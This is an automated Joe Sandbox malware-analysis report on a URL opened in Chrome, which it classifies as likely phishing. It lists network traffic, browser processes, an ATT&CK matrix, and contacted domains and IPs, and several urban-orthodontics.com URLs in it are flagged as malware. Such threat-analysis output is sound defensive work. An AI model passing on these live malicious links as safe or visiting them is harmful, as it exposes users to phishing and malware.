Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 131.253.33.254:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.208.236.37:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.208.236.37:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.208.236.37:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.208.236.37:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.173.214.32:443 -> 192.168.2.4:49778 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6336_1636749315

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6336_1636749315

Jump to behavior

Source: classification engine

Classification label: mal60.phis.win@23/248@44/18

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\7f8de4d0-317b-4973-a243-427e7c1f19b1.tmp

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1920,i,8619118891611207387,3269598719855546557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1948 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://zatp6ncab.cc.rs6.net/tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sNOjiafZx2mj0NMDi8Mw=="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1920,i,8619118891611207387,3269598719855546557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1948 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://zatp6ncab.cc.rs6.net/tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sNOjiafZx2mj0NMDi8Mw==	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
http://services.digg.com/2.0/story.getInfo?links=	0%	Avira URL Cloud	safe
http://allstareventsmiami.com/	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/OC7dn0MMvvZcDOetDh3xvUtauO8aFP/zWUC59lZJguxMT6nsGgL/7EwM560UDK+9Agy39EJYqv1PQLnwWUunvUU=	100%	Avira URL Cloud	malware
http://codetemp.com	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/pGEA2N9DY7HAQzrqklIs+tcVZaiGWyK0xQ9kscoGX6vQAHSrhk0iq9BDOuuIQ3L6nkNtvNwVYq7AG2m9xgts+tk=	100%	Avira URL Cloud	malware
http://feeds.delicious.com/v2/json/urlinfo/data?url=	0%	Avira URL Cloud	safe
http://blazemag.themeflames.com	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/fAghFAcqQn0YKhsmSjsNNg98RGReMgN4HWZFfRJvfnIVZEQ2UCpTNkYqRXsEYkI2AQ==	100%	Avira URL Cloud	malware
http://about.digg.com/downloads/button/smart	0%	Avira URL Cloud	safe
https://layerslider.com/	0%	Avira URL Cloud	safe
http://www.delicious.com/save?v=5&noui&jump=close&url=	0%	Avira URL Cloud	safe
https://www.inflatableoffice.com/include/iotracking.php	0%	Avira URL Cloud	safe
https://layerslider.com/licensing/	0%	Avira URL Cloud	safe
http://www.delicious.com/static/img/delicious.small.gif	0%	Avira URL Cloud	safe
http://malsup.com/jquery/form/	0%	Avira URL Cloud	safe
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/iVvJ6/J5qoLtefPZv2jlyfovrJurYeuH6DWtguc8lpj9Or2Yq3frmP1589qlebvJs3mkiuUiq43zKb+D/Tq6gOY965Y=	100%	Avira URL Cloud	malware
http://jquery.malsup.com/cycle2/api	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3//standard/css/pie/PIE.php);	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/GfWHlWLX5Px9172nL8art2qB4uU7z6X0d5Tr7GOQ2PNp16u3a9e9t3GQ8+Nsk/63ZA==	100%	Avira URL Cloud	malware
http://developer.linkedin.com/plugins/share-button	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
inflatableoffice.com	208.92.218.146	true	false	unknown
groundrats.org	46.173.214.32	true	false	high
1667503734.rsc.cdn77.org	195.181.175.40	true	false	high
e39296.f.akamaiedge.net	23.15.178.139	true	false	high
rental.software	208.92.218.149	true	false	high
virtual.urban-orthodontics.com	185.76.79.50	true	false	high
zatp6ncab.cc.rs6.net	208.75.122.11	true	false	unknown
use.fontawesome.com.cdn.cloudflare.net	172.67.142.245	true	false	high
api.userway.org	35.166.139.108	true	false	high
e39296.b.akamaiedge.net	2.21.65.147	true	false	high
allstareventsmiami.com	74.208.236.37	true	false	unknown
www.google.com	142.250.185.68	true	false	high
s.w.org	192.0.77.48	true	false	high
connect.livechatinc.com	unknown	unknown	false	high
secure.livechatinc.com	unknown	unknown	false	high
www.inflatableoffice.com	unknown	unknown	false	unknown
api.livechatinc.com	unknown	unknown	false	high
cdn.livechatinc.com	unknown	unknown	false	high
cdn.userway.org	unknown	unknown	false	high
use.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://virtual.urban-orthodontics.com/fAghFAcqQn0YKhsmSjsNNg98RGReMgN4HWZFfRJvfnIVZEQ2UCpTNkYqRXsEYkI2AQ==	true	Avira URL Cloud: malware	unknown
https://cdn.userway.org/widgetapp/images/body_wh.svg	false		high
https://virtual.urban-orthodontics.com/pGEA2N9DY7HAQzrqklIs+tcVZaiGWyK0xQ9kscoGX6vQAHSrhk0iq9BDOuuIQ3L6nkNtvNwVYq7AG2m9xgts+tk=	true	Avira URL Cloud: malware	unknown
https://api.userway.org/api/a11y-data/v0/page/https%3A%2F%2Fallstareventsmiami.com%2F/DESKTOP/WIDGET_OFF/status	false		high
https://rental.software/include/iotracking.php	false		high
https://zatp6ncab.cc.rs6.net/tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sNOjiafZx2mj0NMDi8Mw==	false		unknown
https://virtual.urban-orthodontics.com/OC7dn0MMvvZcDOetDh3xvUtauO8aFP/zWUC59lZJguxMT6nsGgL/7EwM560UDK+9Agy39EJYqv1PQLnwWUunvUU=	true	Avira URL Cloud: malware	unknown
https://cdn.userway.org/widgetapp/2025-03-11-08-31-12/widget_app_base_1741681872888.js	false		high
https://allstareventsmiami.com/	false		unknown
https://cdn.userway.org/widgetapp/2025-03-11-08-31-12/remediation/remediation_1741681872888.js	false		high
http://allstareventsmiami.com/	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/	false		high
https://www.inflatableoffice.com/include/iotracking.php	false	Avira URL Cloud: safe	unknown
https://cdn.userway.org/widgetapp/images/spin_wh.svg	false		high
https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=	false		high
https://ipqualityscore.com/api/json/ip/5SPfwvEV3gwc55pvxBQOnjhEt01fgi0C/173.20.107.78	false		high
https://cdn.userway.org/widgetapp/2025-03-11-08-31-12/locales/en-US.json	false		high
https://cdn.userway.org/styles/2025-03-11-08-31-12/widget_base.css?v=1741681872888	false		high
https://api.userway.org/api/v1/tunings/xaCleGvcNk	false		high
https://virtual.urban-orthodontics.com/iVvJ6/J5qoLtefPZv2jlyfovrJurYeuH6DWtguc8lpj9Or2Yq3frmP1589qlebvJs3mkiuUiq43zKb+D/Tq6gOY965Y=	true	Avira URL Cloud: malware	unknown
https://cdn.userway.org/widget.js	false		high
https://virtual.urban-orthodontics.com/GfWHlWLX5Px9172nL8art2qB4uU7z6X0d5Tr7GOQ2PNp16u3a9e9t3GQ8+Nsk/63ZA==	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.stumbleupon.com/badge/?url=	chromecache_229.4.dr	false		high
https://stats.g.doubleclick.net/g/collect	chromecache_145.4.dr	false		high
http://assets.pinterest.com/js/pinit.js	chromecache_214.4.dr	false		high
https://twitter.com/intent/tweet?text=	chromecache_229.4.dr	false		high
http://blazemag.themeflames.com	chromecache_210.4.dr	false	Avira URL Cloud: safe	unknown
http://themeforest.net/licenses/regular_extended	chromecache_210.4.dr	false		high
https://plus.google.com/share?hl=	chromecache_229.4.dr	false		high
http://www.stumbleupon.com/badges/	chromecache_229.4.dr	false		high
http://about.digg.com/downloads/button/smart	chromecache_229.4.dr	false	Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_206.4.dr	false		high
http://www.themeforest.net/user/ThemeFlames	chromecache_210.4.dr	false		high
http://www.codylindley.com)	chromecache_182.4.dr	false		high
http://digg.com/submit?url=	chromecache_229.4.dr	false		high
https://layerslider.com/	chromecache_235.4.dr, chromecache_232.4.dr, chromecache_211.4.dr, chromecache_130.4.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com	chromecache_145.4.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_182.4.dr	false		high
http://codetemp.com	chromecache_139.4.dr, chromecache_238.4.dr, chromecache_147.4.dr	false	Avira URL Cloud: safe	unknown
http://www.google.com/webmasters/	chromecache_229.4.dr	false		high
http://www.stumbleupon.com/services/1.01/badge.getinfo?url=	chromecache_229.4.dr	false		high
http://feeds.delicious.com/v2/json/urlinfo/data?url=	chromecache_229.4.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_206.4.dr	false		high
http://twitter.com/about/resources/tweetbutton	chromecache_229.4.dr	false		high
http://services.digg.com/2.0/story.getInfo?links=	chromecache_229.4.dr	false	Avira URL Cloud: safe	unknown
http://www.gnu.org/licenses/	chromecache_258.4.dr	false		high
http://pki-crl.symauth.com/ca_7a5c3a0c73117406add19312bc1bc23f/LatestCRL.crl07	chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	false		high
https://layerslider.com/licensing/	chromecache_235.4.dr, chromecache_232.4.dr, chromecache_211.4.dr, chromecache_130.4.dr	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	chromecache_157.4.dr, chromecache_194.4.dr	false		high
http://jquery.malsup.com/cycle2/	chromecache_170.4.dr	false		high
http://www.linkedin.com/countserv/count/share?format=jsonp&url=	chromecache_229.4.dr	false		high
http://www.delicious.com/save?v=5&noui&jump=close&url=	chromecache_229.4.dr	false	Avira URL Cloud: safe	unknown
https://apis.google.com/js/plusone.js	chromecache_214.4.dr	false		high
http://malsup.com/jquery/form/	chromecache_195.4.dr	false	Avira URL Cloud: safe	unknown
https://tagassistant.google.com/	chromecache_206.4.dr	false		high
https://cct.google/taggy/agent.js	chromecache_145.4.dr	false		high
http://cdn.api.twitter.com/1/urls/count.json?url=	chromecache_229.4.dr	false		high
http://stackoverflow.com/q/6536108	chromecache_229.4.dr	false		high
http://creativecommons.org/ns#	chromecache_179.4.dr, chromecache_143.4.dr	false		high
http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia	chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	false	Avira URL Cloud: safe	unknown
http://pinterest.com/pin/create/button/?url=	chromecache_229.4.dr	false		high
http://digg.com/tools/diggthis/submit?url=	chromecache_229.4.dr	false		high
https://www.google.com/ads/ga-audiences	chromecache_206.4.dr	false		high
https://www.google.%/ads/ga-audiences	chromecache_206.4.dr	false		high
http://pki-ocsp.symauth.com0	chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	false	Avira URL Cloud: safe	unknown
https://td.doubleclick.net	chromecache_145.4.dr	false		high
https://www.merchant-center-analytics.goog	chromecache_145.4.dr	false		high
https://github.com/malsup/form#copyright-and-license	chromecache_195.4.dr	false		high
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_145.4.dr	false		high
http://api.pinterest.com/v1/urls/count.json?url=	chromecache_229.4.dr	false		high
https://github.com/malsup/form	chromecache_195.4.dr	false		high
https://www.linkedin.com/cws/share?url=	chromecache_229.4.dr	false		high
http://www.delicious.com/static/img/delicious.small.gif	chromecache_229.4.dr	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3//standard/css/pie/PIE.php);	chromecache_187.4.dr	false	Avira URL Cloud: safe	unknown
https://twitter.com/share	chromecache_229.4.dr	false		high
http://jquery.malsup.com/cycle2/api	chromecache_170.4.dr	false	Avira URL Cloud: safe	unknown
http://developer.linkedin.com/plugins/share-button	chromecache_229.4.dr	false	Avira URL Cloud: safe	unknown
http://pinterest.com/about/goodies/	chromecache_229.4.dr	false		high
https://adservice.google.com/pagead/regclk?	chromecache_145.4.dr	false		high
https://cdn.userway.org/	chromecache_253.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.21.65.147	e39296.b.akamaiedge.net	European Union	20940	AKAMAI-ASN1EU	false
185.76.79.50	virtual.urban-orthodontics.com	Spain	50129	TVHORADADAES	false
208.92.218.149	rental.software	United States	53292	MWAYUS	false
172.67.142.245	use.fontawesome.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
2.21.65.141	unknown	European Union	20940	AKAMAI-ASN1EU	false
46.173.214.32	groundrats.org	Russian Federation	47196	GARANT-PARK-INTERNETRU	false
74.208.236.37	allstareventsmiami.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
95.100.110.19	unknown	European Union	20940	AKAMAI-ASN1EU	false
208.75.122.11	zatp6ncab.cc.rs6.net	United States	40444	ASN-CCUS	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
34.211.169.228	unknown	United States	16509	AMAZON-02US	false
23.15.178.139	e39296.f.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
35.166.139.108	api.userway.org	United States	16509	AMAZON-02US	false
208.92.218.146	inflatableoffice.com	United States	53292	MWAYUS	false
195.181.175.40	1667503734.rsc.cdn77.org	United Kingdom	60068	CDN77GB	false
207.211.211.26	unknown	United States	14135	NAVISITE-EAST-2US	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1635703
Start date and time:	2025-03-11 22:41:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://zatp6ncab.cc.rs6.net/tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sNOjiafZx2mj0NMDi8Mw==
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@23/248@44/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
